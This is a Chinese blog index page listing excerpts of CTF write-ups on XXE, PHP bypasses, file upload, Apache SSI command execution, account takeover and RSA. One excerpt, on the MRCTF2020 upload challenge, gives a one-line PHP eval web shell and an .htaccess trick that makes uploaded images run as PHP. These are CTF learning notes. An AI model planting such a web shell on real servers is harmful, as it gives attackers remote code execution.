山野村夫z1 - 博客园

2020年5月14日

第10章 Android数据存储技术

该文被密码保护。阅读全文

posted @ 2020-05-14 18:59 山野村夫z1 阅读(0) 评论(0) 推荐(0) 编辑

leetcode刷题之动态规划

该文被密码保护。阅读全文

posted @ 2020-05-14 18:59 山野村夫z1 阅读(0) 评论(0) 推荐(0) 编辑

leetcode精选面试题

该文被密码保护。阅读全文

posted @ 2020-05-14 18:58 山野村夫z1 阅读(0) 评论(0) 推荐(0) 编辑

[NCTF2019]Fake XML cookbook

摘要：知识点 xml实体注入题目提示XML，可知为XXE攻击，原理参考https://www.freebuf.com/vuls/175451.html 简要来讲就是客户端向服务器发送了XML数据，这个数据能被我们控制，这样我们就可以增加一个恶意的外部实体，实现攻击先抓包这里看到username和pa 阅读全文

posted @ 2020-05-14 18:00 山野村夫z1 阅读(424) 评论(0) 推荐(0) 编辑

[MRCTF2020]Ez_bypass

摘要： F12可以看到格式化好的源码 <?php #I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET[ 阅读全文

posted @ 2020-05-14 17:22 山野村夫z1 阅读(1144) 评论(0) 推荐(0) 编辑

[MRCTF2020]你传你马呢

摘要：可以上传.htaccess文件和jpg文件先上传一下.htaccess文件 SetHandler application/x-httpd-php 再上传图片马 <?php eval($_POST[cmd]);?> 最后蚁剑连接一下，拿到flag 阅读全文

posted @ 2020-05-14 17:10 山野村夫z1 阅读(924) 评论(0) 推荐(0) 编辑

[BJDCTF 2nd]elementmaster

摘要：脑洞题 F12查看源码发现id处两串十六进制很奇怪，转换一下得到 0x506F2E ==> Po.0x706870 ==> php Po是化学元素钋把元素周期表里的元素列出来，挨个访问一下贴一下别人的脚本，懒，脚本来自https://www.cnblogs.com/gaonuoqi/p/126 阅读全文

posted @ 2020-05-14 16:51 山野村夫z1 阅读(403) 评论(0) 推荐(0) 编辑

2020年5月13日

[BJDCTF2020]EasySearch

摘要：知识点 Apache SSI远程命令执行漏洞扫描到后台后swp文件泄露，访问一下得到源码 <?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012 阅读全文

posted @ 2020-05-13 23:03 山野村夫z1 阅读(348) 评论(0) 推荐(0) 编辑

[V&N2020 公开赛]HappyCTFd

摘要：知识点账户接管漏洞参考https://www.colabug.com/2020/0204/6940556/amp/ 注册一个空格admin用户登录成功后再登出在登录页面选择忘记密码改密链接会发送到注册邮箱中，这里使用buuoj的内部邮箱在邮箱中修改密码使用admin用户和更改后的密码进阅读全文

posted @ 2020-05-13 20:58 山野村夫z1 阅读(470) 评论(0) 推荐(0) 编辑

二分搜索爆破rsa的p或q

摘要： [BJDCTF 2nd]rsa1 #coding:utf-8 from libnum import * from gmpy2 import * import math e=12990949 p_2_q_2=18378273100717402294789767887365434240878716336 阅读全文

posted @ 2020-05-13 20:14 山野村夫z1 阅读(408) 评论(0) 推荐(0) 编辑

山野村夫的博客

公告